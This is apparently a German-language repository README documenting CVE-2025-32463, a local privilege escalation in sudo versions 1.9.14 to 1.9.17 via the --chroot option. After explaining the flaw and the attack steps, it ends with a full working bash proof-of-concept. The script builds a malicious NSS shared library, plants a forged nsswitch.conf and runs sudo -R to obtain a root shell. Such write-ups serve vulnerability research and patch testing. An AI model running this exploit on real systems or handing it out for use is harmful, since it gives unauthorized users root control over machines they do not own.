📌 CVE-2025-32463 — Sudo --chroot Lokale Rechteausweitung

ExploitDB ID: 52352

🧠 Überblick

Dieses Repository dokumentiert eine kritische Schwachstelle zur lokalen Rechteausweitung (LPE) in Sudo 1.9.14 – 1.9.17.

Die Schwachstelle resultiert aus einer fehlerhaften Implementierung der Option sudo -R (--chroot) und ermöglicht es einem Angreifer, Befehle mit Root-Rechten auszuführen, selbst wenn dies in der sudoers-Datei nicht erlaubt ist.

🔥 Ergebnis: Nicht autorisierter Benutzer → Root-Shell

🧩 Betroffene Komponente

• Software: sudo
• Betroffene Versionen:
  • 1.9.14
  • 1.9.15
  • 1.9.16
  • 1.9.17
• CVE ID: CVE-2025-32463
• Plattform: Linux (insbesondere Systeme mit NSS)
• Getestetes System: Kali Rolling 2025

⚙️ Technische Ursache der Schwachstelle

Der Parameter --chroot (-R) von Sudo erlaubt dem Benutzer, Befehle innerhalb eines selbst gewählten Root-Verzeichnisses auszuführen.

Doch infolge einer Änderung in Sudo 1.9.14:

• die sudoers-Datei wird noch vor ihrer vollständigen Validierung verarbeitet
• der chroot()-Aufruf erfolgt über das vom Benutzer angegebene Verzeichnis

Dies führt dazu, dass über eine selbst erstellte gefälschte Datei:

/etc/nsswitch.conf

eine bösartige NSS-Bibliothek (libnss_*.so) mit Root-Rechten geladen wird.

🧨 Angriffsszenario (Zusammenfassung)

1. Ein temporäres Verzeichnis wird erstellt
2. Eine gefälschte nsswitch.conf wird vorbereitet
3. Eine bösartige NSS-Shared-Library wird kompiliert
4. Ein Aufruf von sudo -R <dir> <command> wird ausgeführt
5. Die NSS-Bibliothek wird mit Root-Rechten geladen
6. Eine Root-Shell wird erlangt 🚀

🧪 Proof of Concept (PoC)

⚠️ Nur in Schulungs- und Testumgebungen verwenden

#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463

set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash","/bin/bash",NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

sudo -R woot woot